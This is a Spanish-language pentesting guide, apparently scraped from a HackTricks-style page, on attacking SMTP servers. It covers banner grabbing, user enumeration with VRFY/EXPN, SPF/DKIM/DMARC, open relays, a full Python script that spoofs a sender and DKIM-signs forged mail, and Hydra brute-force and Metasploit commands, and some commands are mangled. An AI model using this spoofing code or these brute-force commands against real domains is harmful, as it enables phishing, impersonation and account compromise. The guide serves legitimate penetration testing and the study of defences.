Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
El Protocolo Simple de Transferencia de Correo (SMTP) es un protocolo utilizado dentro de la suite TCP/IP para el envío y recepción de correos electrónicos. Debido a sus limitaciones en la cola de mensajes en el extremo del destinatario, SMTP se emplea frecuentemente junto con POP3 o IMAP. Estos protocolos adicionales permiten a los usuarios almacenar mensajes en un buzón de servidor y descargarlos periódicamente.
En la práctica, es común que los programas de correo electrónico empleen SMTP para enviar correos electrónicos, mientras utilizan POP3 o IMAP para recibirlos. En sistemas basados en Unix, sendmail destaca como el servidor SMTP más utilizado para fines de correo electrónico. El paquete comercial conocido como Sendmail incluye un servidor POP3. Además, Microsoft Exchange proporciona un servidor SMTP y ofrece la opción de incluir soporte POP3.
Puerto predeterminado: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Cabeceras de EMAIL
Si tienes la oportunidad de hacer que la víctima te envíe un correo electrónico (a través del formulario de contacto de la página web, por ejemplo), hazlo porque podrías aprender sobre la topología interna de la víctima viendo las cabeceras del correo.
También puedes obtener un correo electrónico de un servidor SMTP intentando enviar a ese servidor un correo electrónico a una dirección inexistente (porque el servidor enviará al atacante un correo NDN). Pero asegúrate de enviar el correo desde una dirección permitida (verifica la política SPF) y de que puedas recibir mensajes NDN.
También deberías intentar enviar diferentes contenidos porque puedes encontrar información más interesante en las cabeceras como: X-Virus-Scanned: by av.domain.com
Deberías enviar el archivo de prueba EICAR.
Detectar el AV puede permitirte explotar vulnerabilidades conocidas.
Acciones básicas
Obtención de banner/Conexión básica
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
O automatiza esto con el plugin de nmapsmtp-ntlm-info.nse
Nombre del servidor interno - Divulgación de información
Algunos servidores SMTP completan automáticamente la dirección de un remitente cuando se emite el comando "MAIL FROM" sin una dirección completa, revelando su nombre interno:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Verifique si está husmeando alguna contraseña de los paquetes al puerto 25
VRFY (Verify) es un comando SMTP que se utiliza para verificar si una dirección de correo electrónico específica es válida en el servidor de correo. Este comando puede ser utilizado por atacantes para recopilar información sobre posibles direcciones de correo electrónico válidas en un dominio, lo que podría ser utilizado en ataques de ingeniería social o de phishing. Es importante deshabilitar el comando VRFY en servidores de correo para evitar esta técnica de enumeración de direcciones de correo electrónico.
El comando EXPN se utiliza para expandir una lista de correo en un servidor SMTP. Esto puede revelar direcciones de correo electrónico válidas que pueden ser útiles para un atacante en un escenario de ingeniería social o para enviar spam.
Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
Informes de Notificación de Estado de Entrega: Si envía un correo electrónico a una organización a una dirección no válida, la organización notificará que la dirección era inválida enviando un correo de vuelta a usted. Los encabezados del correo devuelto contendrán información sensible posible (como la dirección IP de los servicios de correo que interactuaron con los informes o información del software antivirus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## Vulnerabilidad de Contrabando SMTP
La vulnerabilidad de Contrabando SMTP permitía evadir todas las protecciones SMTP (consulte la siguiente sección para obtener más información sobre las protecciones). Para obtener más información sobre el Contrabando SMTP, consulte:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Contramedidas de Suplantación de Correo
Las organizaciones evitan que se envíen correos electrónicos no autorizados en su nombre empleando **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantación de mensajes SMTP.
Una **guía completa sobre estas contramedidas** está disponible en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [fue "obsoleto" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un registro **TXT** en `_spf.domain.com`, se crea en `domain.com` utilizando la **misma sintaxis**. Además, para reutilizar registros SPF anteriores, es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) es un mecanismo que permite a los Agentes de Transferencia de Correo (MTAs) verificar si un host que envía un correo electrónico está autorizado consultando una lista de servidores de correo autorizados definidos por las organizaciones. Esta lista, que especifica direcciones IP/rangos, dominios y otras entidades **autorizadas para enviar correos electrónicos en nombre de un nombre de dominio**, incluye varios "**Mecanismos**" en el registro SPF.
#### Mecanismos
De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mecanismo | Descripción |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Siempre coincide; se utiliza para un resultado predeterminado como `-all` para todas las IP que no coinciden con los mecanismos anteriores. |
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá. |
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado hacia adelante), coincide. Se desaconseja este mecanismo y se debe evitar, si es posible. |
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (independientemente de la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje macro SPF, ofrece coincidencias más complejas como consultas DNSBL. |
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. |
| REDIRECT | <p>Una redirección es un puntero a otro nombre de dominio que aloja una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil al trabajar con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.</p><p>Se utilizará la política SPF del dominio indicado en el Mecanismo de redirección.</p> |
También es posible identificar **Cualificadores** que indican **qué se debe hacer si se cumple un mecanismo**. Por defecto, se utiliza el **cualificador "+"** (por lo que si se cumple algún mecanismo, significa que está permitido).\
Normalmente se nota **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, se debe etiquetar el correo como no confiable (\~) o rechazar (-) el correo.**
#### Cualificadores
Cada mecanismo dentro de la política puede ir precedido por uno de cuatro cualificadores para definir el resultado previsto:
* **`+`**: Corresponde a un resultado de APROBADO. Por defecto, los mecanismos asumen este cualificador, haciendo que `+mx` sea equivalente a `mx`.
* **`?`**: Representa un resultado NEUTRO, tratado de manera similar a NINGUNO (sin política específica).
* **`~`**: Denota SOFTFAIL, sirviendo como un punto intermedio entre NEUTRO y FALLA. Los correos que cumplen con este resultado generalmente son aceptados pero marcados en consecuencia.
* **`-`**: Indica FALLA, sugiriendo que el correo electrónico debe ser rechazado directamente.
En el siguiente ejemplo, se ilustra la **política SPF de google.com**. Tenga en cuenta la inclusión de políticas SPF de diferentes dominios dentro de la primera política SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradicionalmente era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. Hoy en día, si un correo electrónico proviene de un dominio sin un registro SPF válido, probablemente será rechazado/marcado como no confiable automáticamente.
DKIM se utiliza para firmar correos electrónicos salientes, lo que permite su validación por Agentes de Transferencia de Correo (MTAs) externos a través de la recuperación de la clave pública del dominio desde DNS. Esta clave pública se encuentra en el registro TXT de un dominio. Para acceder a esta clave, es necesario conocer tanto el selector como el nombre de dominio.
Por ejemplo, para solicitar la clave, el nombre de dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo DKIM-Signature, por ejemplo, d=gmail.com;s=20120113.
Un comando para recuperar esta información podría lucir así:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC mejora la seguridad del correo electrónico basándose en los protocolos SPF y DKIM. Describe políticas que guían a los servidores de correo en el manejo de correos electrónicos de un dominio específico, incluyendo cómo manejar fallos de autenticación y dónde enviar informes sobre las acciones de procesamiento de correos electrónicos.
Para obtener el registro DMARC, necesitas consultar el subdominio _dmarc
Desdeaquí.
Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correos.
Lo siguiente fue publicado originalmente en openspf.org, que solía ser un gran recurso para este tipo de información.
La Pregunta del Demonio: ¿Qué pasa con los subdominios?
Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplique a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.
Por lo tanto, el consejo para los editores de SPF es el siguiente: deberías agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.
Los sitios con registros A o MX comodín también deberían tener un registro SPF comodín, de la forma: * IN TXT "v=spf1 -all"
Esto tiene sentido: un subdominio bien podría estar en una ubicación geográfica diferente y tener una definición SPF muy diferente.
Relevo Abierto
Cuando se envían correos electrónicos, es crucial asegurarse de que no sean marcados como spam. Esto se logra a menudo a través del uso de un servidor de retransmisión que es confiable para el destinatario. Sin embargo, un desafío común es que los administradores podrían no estar completamente al tanto de qué rangos de IP son seguros de permitir. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo identificado con frecuencia en evaluaciones de seguridad.
Una solución temporal que algunos administradores utilizan para evitar problemas de entrega de correo, especialmente en comunicaciones con clientes potenciales o en curso, es permitir conexiones desde cualquier dirección IP. Esto se logra configurando el parámetro mynetworks del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuación:
mynetworks=0.0.0.0/0
Para verificar si un servidor de correo es un relay abierto (lo que significa que podría reenviar correos electrónicos desde cualquier fuente externa), se suele utilizar la herramienta nmap. Incluye un script específico diseñado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con la IP 10.10.10.10) en el puerto 25 usando nmap es:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Si obtienes algún error al usar la librería dkim de Python al analizar la clave, siéntete libre de usar la siguiente.
NOTA: Esto es solo una solución temporal para realizar verificaciones rápidas en casos donde, por alguna razón, la clave privada de openssl no pueda ser analizada por dkim.
# Esto enviará un mensaje no firmadomail("tu_correo@gmail.com", "¡Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrador@victima.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Por lo general, si está instalado, en /etc/postfix/master.cf contiene scripts para ejecutar cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering se ejecutará si se recibe un nuevo correo por el usuario mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
